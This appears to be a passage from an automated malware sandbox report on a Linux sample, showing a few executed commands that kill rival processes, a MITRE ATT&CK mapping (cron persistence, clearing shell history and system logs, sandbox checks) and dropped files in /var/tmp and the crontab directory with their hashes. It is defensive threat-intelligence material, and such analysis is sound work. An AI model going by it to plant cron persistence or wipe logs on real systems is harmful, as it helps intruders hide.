  pkill -f earnfm_example
  2⤵
  PID:1005
- /usr/bin/pkill
  pkill -f systemd-cached
  2⤵
  PID:1006
- /bin/sleep
  sleep 5
  2⤵
  PID:1007

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Indicator Removal

T1070

Clear Command History

T1070.003

Clear Linux or Mac System Logs

T1070.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

tmp.YoKNre

Path /var/spool/cron/crontabs/tmp.YoKNre
Size 267B
SHA256 5a2983729f3e7c19e9c93374ef21b8d1f510737343f49f6ee72fa5e44a9e3314
MD5 7bb3eab4c5b7d698cead9f0b73032628
SHA1 f9351de0df45687ff4bc7c5dd0b8e1b2c5784b29
SHA512 99fd95db4fe5aa3c832a8d416aa45c845716a33b02b38e2ffc7b2df25ddf1fabe2895e5175cddc1fdd18033686cf946f5b3a9fa2d26e5d7376c8aecefce9aab4
TLSH
T11AD095987F1474325B4C0B9031159738D541D024415FFE30D0DC106542467AD7B25721
MD5 SHA1 SHA512 TLSH

Submit Download

Error84

Path /var/tmp/Error84
Size 7.2MB
SHA256 27c03c19ae123a9a523d6046fd0ba83e847c67f998f075054edea0f0fc0e43d9
MD5 d1073aef9247fd056a90d2a015d7568b
SHA1 c8a40405ae9a71c90703af8d3879bedcff3de300
SHA512 e0dbcbb4d431197abf0957c5d9e17870598fd004002db250a3e4dd94453769468ad1e5f1c06b38215b19c28061d6e74f847641167d21baf5b02424eb93af4980
SSDEEP 98304:qB2FSpFA3Hvf+nMwX+CoM/Wdc5Gbz+2OqwbWiHP+yHqazWbY:DSGHvfpdQWdc5Gbz+2OqJUP+M/qb
TLSH
T169767C99FD0E3841F3CAE27CDE4A97E1B62B75A0D32780F37E92524CC59A6D4C6B1520
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cli-watcher.log

Path /var/tmp/cli-watcher.log
Size 201B
SHA256 6611cdd7d9fd6abe639662f5285b4754ebf16eec3a85c29b32b29d4d2635d0b3
MD5 071a9322dbcac5f2108e4f7f17cbb45a
SHA1 7da7f736769412eb51e369109ccbc7c3743c76f6
SHA512 24b264070e02af051c22c6d8f0c77374b5a7a23990e9b44f153e56a813647a04bb3d5785ed7b2a2b5305ddf33823e23f1450e26499af0315b8fc2a9435b5d54f
TLSH
T121D0220A8412424314E02CC03328238D0B47386403A22C12E031F2B93A8085C6EB236A
MD5 SHA1 SHA512 TLSH

Submit Download

cli-watcher.log

Path /var/tmp/cli-watcher.log
Size 302B
SHA256 d2b9f32cd348dfecc7deb3ceaf79b7363d537c7a1c80c3bc711694b7b197bbb2
MD5 378d44a868aedd8e2604fbecf9182114
SHA1 8bda6e5cb41a28783fe4563ca5244bf01b944317
SHA512 fd62634cd45fa72725a9d011b483bd26f0d472f32d17bd6e0c11f073719e7bfdeb8baa4157eb027366bdebfb4a780ff396ee7230bc7e625282df04643af530aa
TLSH
T1EDE0C2098413829224E01CD03328739D0B57343403A22D22F436B6B82590C6DAFF33AD
MD5 SHA1 SHA512 TLSH

Submit Download

cli-watcher.log

Path /var/tmp/cli-watcher.log
Size 402B
SHA256 88eb9e40a209c3bca4f8c55ddbcd1fefe4b6720bec037207a60a5355d118d628
MD5 85452605e3622e942997d7e003986e14
SHA1 cd8c521905780ec280aade87050380463f1b1534
SHA512 247fe9a3fa07a6fe1280bf136e6209dfdb1f5b62887de0d1877f1aa20f665ed8f6a7385eb0dd433d60dbd6a035b7baf93304b776e129d3a64cef4fbf06fdfeb5
TLSH
T11BE0220A8412469314E02CC03328239D0B5B38A403A23C16E136F2B97E8085D6FB2369
MD5 SHA1 SHA512 TLSH

Submit Download

cli-watcher.log

Path /var/tmp/cli-watcher.log
Size 1005B
SHA256 9f8e387d5b476a1d92dab97fbdd3add480d27270b73f1d4f93f154e3390e3a91
MD5 7e1a57af7db3cf9baf0c44b70d779d10
SHA1 fb164ffa4e4d9f567af0bde6b2a9fab9bc4f5f82
SHA512 fb523ed07b68208518ee085a0ff7ba596ab72df1b4b0fc5645e8c540eadc5709cfa383e1cb358cd51ffce102abf9d1ffe2ec3c6263b33de637dd8ebcaa0fe836
TLSH
T1C911260B8412465324E02CC13328239D075B39B403A13D26E536F2B97E8085E6FF33A9
MD5 SHA1 SHA512 TLSH

Submit Download

cli-watcher.log

Path /var/tmp/cli-watcher.log
Size 101B
SHA256 3cfba98f6b9ce7bab78da066cb3d0e5cd0203d29410621ca7edfb56e7c19eadc
MD5 da2199ccc32b8ddd1887da09bae66ed9
SHA1 25cee298bcaee2d6127c63ccf76cb6fc1766881e
SHA512 285155b8c0ec332388935cecc5715f2b0b55ee39a20db8819ef55fb54e2ee4a388c4a37af2cddb8b445d12518b1cf1171d334462416c96c764ddb29ab7c9baf1
TLSH
T152B012184013829120E04C44331073D40657103403610E21F43275341054C6CDAE33EC
MD5 SHA1 SHA512 TLSH

Submit Download

cliaarch

Path /var/tmp/cliaarch
Size 2.1MB
SHA256 8253ac8b47e87a05c203f6ba97f81dcd7026ae207363602f8cea217b5835dbff
MD5 a8ba4a439dc90c8851ab2236a03eff0e
SHA1 cdd73aacd75697ed1ddae20fc904e53c4bf8ebf5
SHA512 eb790eb91469eadc8618cf3bf41699be5700fd36d250ffaa9c1133f09427690d8c92bf76e969aa701908c77a21b27355e4a4127acbf9a0ba4a8ebc19c5ffa0b5
SSDEEP 24576:o5uxAGyeUtysIDcF/ZXjjnxZk6OZNWtoh6MDEjyzsPFM9VIH06iyhEEN31b:o5uuV1Hz/d8V+KIU6ig31b
TLSH
T1FEA5AE17A55D29B7FBCEF17CCD8EC5F1B123756903A880963812960DF2C2AE14A79F21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

watcher-aarch.sh

Path /var/tmp/watcher-aarch.sh
Size 1KB
SHA256 933d5963dfb7307e87a193e32681b9d1a4a23bd2d0821b091930e2a9460aaf91
MD5 53162eca1d5d4a7b2c30773de1654aba
SHA1 2ab1d2ce999d25c9d294492a999976780e8ea365
SHA512 485cb5ac7ffb8eb068b7ed58d659dbe599ee9c71a6257303df6f6829210359aefc47d3dd060c81fdd1bab85e706dd49586495e227e13ba1a65e597c2aec8c0ee
TLSH
T15A31D316B0825BF135C8C9147C6EEA94699524270395694CF01FBBF01FD8908D6FE772
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads